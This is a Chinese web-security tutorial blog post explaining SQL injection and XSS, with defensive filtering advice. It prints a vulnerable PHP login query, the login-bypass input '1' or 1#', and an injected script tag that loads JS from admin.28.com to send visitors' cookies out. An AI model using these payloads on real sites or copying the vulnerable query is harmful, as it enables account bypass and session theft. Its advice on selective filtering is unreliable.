zoukankan      html  css  js  c++  java
  • 网站安全

    1.SQL注入:(如果是这样写的话)

    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $sql="SELECT * FROM user WHERE username='$username' AND password='$password'";

    表单传来的用户名是 1' or 1#,那么放到SQL语句后,就变成了(#表示注释,把后面的注释掉了,那么这样网站就被注入了):$sql="SELECT * FROM user WHERE username='1' or 1 # AND password='$password'";

    所以,一般把上面的话变成两句话:先通过username查找,然后再比较password

    2.XSS(跨站脚本攻击)

    用户提交表单时如果表单中包含不规则的HTML代码或者JS代码的话,会影响页面的功能以及效果。

    两种形式:a.html代码

    这种攻击通过输入一个不规则的HTML代码导致页面乱了。

    b.js攻击

    可以偷访问这个网站的人的COOKIE数据。

    这个JS可以把浏览器中的COOKIE发到admin.28.com(你本地的一个文件)上去

    首先在评论框中写入一段js:(相当于在这个网站上挂了一段js代码abc.js)

    <script src=http://admin.28.com/abc.js></script>

    本地Abc.js这样写:(这样就可以把访问这个网站的用户的COOKIE发到本地文件中)

    3.那么我们应该怎样做?

    1. 一定要在服务器上过滤,不要相信客户端

    b. 不能使用htmlspecialchars函数统一过滤,我们要有选择性的过滤,只过滤掉字符串中有危险字符。

    需要过滤的主要是:

    1. <script>中的内容(JS)
    2. 标签上的事件,如:<div onclick=”xxxx”>里的onclick事件等等。

    我们可以自己写也可以使用网上现有的:

    1. tp框架中有一个函数:remove_xss
    2. 有一个开源产品:htmlpurifier
    3. 网上找些简单实用的
  • 相关阅读:
    js sort方法根据数组中对象的某一个属性值进行排序
    JS中数据类型转换
    DOM盒子模型常用属性client,offset和scroll
    Vue之render渲染函数和JSX的应用
    北漂程序员的真实奋斗史:有辛酸,更有成长
    比高房价更可怕的是,35岁以后你还能干嘛?
    Vue组件间通信方式
    根据对象的某个属性名的值从新排序
    JS隐藏号码中间4位
    javascript之揭示模式
  • 原文地址:https://www.cnblogs.com/hupengyin/p/4444644.html
Copyright © 2011-2022 走看看